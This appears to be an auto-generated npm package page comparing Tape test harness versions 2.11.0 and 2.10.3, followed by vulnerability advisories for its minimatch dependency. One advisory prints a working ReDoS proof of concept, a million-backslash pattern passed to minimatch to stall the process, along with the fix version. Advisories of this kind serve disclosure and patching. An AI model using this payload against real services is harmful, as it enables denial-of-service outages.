Tape is a minimalistic, tap-producing test harness for Node.js and browsers, designed for simplicity and ease of use. Comparing versions 2.11.0 and 2.10.3, developers will find a subtle but potentially impactful change in the object-inspect dependency. Version 2.11.0 upgrades this dependency from version 0.3.0 to 0.4.0. While seemingly minor, this could introduce changes in how objects are inspected and displayed during test failures, potentially improving debugging clarity. Both versions share core dependencies like glob for file matching, defined and resumer for stream handling, through for simpler stream transformations, inherits for prototypal inheritance, and deep-equal for robust object comparison. Development dependencies, including tap for running TAP output, falafel for AST manipulation, and concat-stream for efficient stream concatenation, remain consistent, suggesting a focus on internal improvements rather than significant API alterations.
The MIT license ensures developer freedom, and the repository on GitHub encourages community contributions. The availability of both versions on npm, easily installable with consistent commands ensures accessibility. The upgrade in object-inspect in version 2.11.0 is a worth considering for enhanced object inspection when debugging tests. It is important to confirm the dependency upgrade has no unexpected side effects. Developers looking for a stable and dependable testing solution can confidently consider either version, weighing the potential benefits of the upgraded object inspection against the stability of the slightly older version.
All the vulnerabilities related to the version 2.11.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.